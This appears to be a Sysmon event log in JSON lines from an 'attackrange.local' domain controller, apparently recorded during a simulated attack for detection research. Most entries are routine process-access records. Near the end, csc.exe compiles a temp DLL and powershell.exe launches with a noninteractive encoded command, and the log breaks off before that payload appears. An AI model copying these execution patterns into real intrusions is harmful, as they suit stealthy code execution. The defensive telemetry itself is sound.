C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.947","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5719,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.947\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.947","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5720,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.947\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.947","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5721,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.947\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.947","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5722,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.947\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.947","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5723,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.947\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.947","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5724,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.947\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.947","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5725,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.947\r\nSourceProcessGUID: {90617006-4171-5F2D-0000-0010F97D0800}\r\nSourceProcessId: 3292\r\nSourceThreadId: 4700\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4172-5F2D-0000-0010ECA10800}\r\nTargetProcessId: 2728\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.947","SourceProcessGUID":"{90617006-4171-5F2D-0000-0010F97D0800}","SourceProcessId":"3292","SourceThreadId":"4700","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4172-5F2D-0000-0010ECA10800}","TargetProcessId":"2728","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":5726,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:34.963\r\nProcessGuid: {90617006-4172-5F2D-0000-00105D9E0800}\r\nProcessId: 4012\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\4rw4wcql.dll\r\nCreationUtcTime: 2020-08-07 11:56:34.806","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:34.963","ProcessGuid":"{90617006-4172-5F2D-0000-00105D9E0800}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\4rw4wcql.dll","CreationUtcTime":"2020-08-07 11:56:34.806","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5727,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.281\r\nProcessGuid: {90617006-4173-5F2D-0000-0010ABA40800}\r\nProcessId: 2512\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nFileVersion: 10.0.14393.206 (rs1_release.160915-0644)\r\nDescription: Windows PowerShell\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: PowerShell.EXE\r\nCommandLine: \"powershell.exe\" -noninteractive -encodedcommand 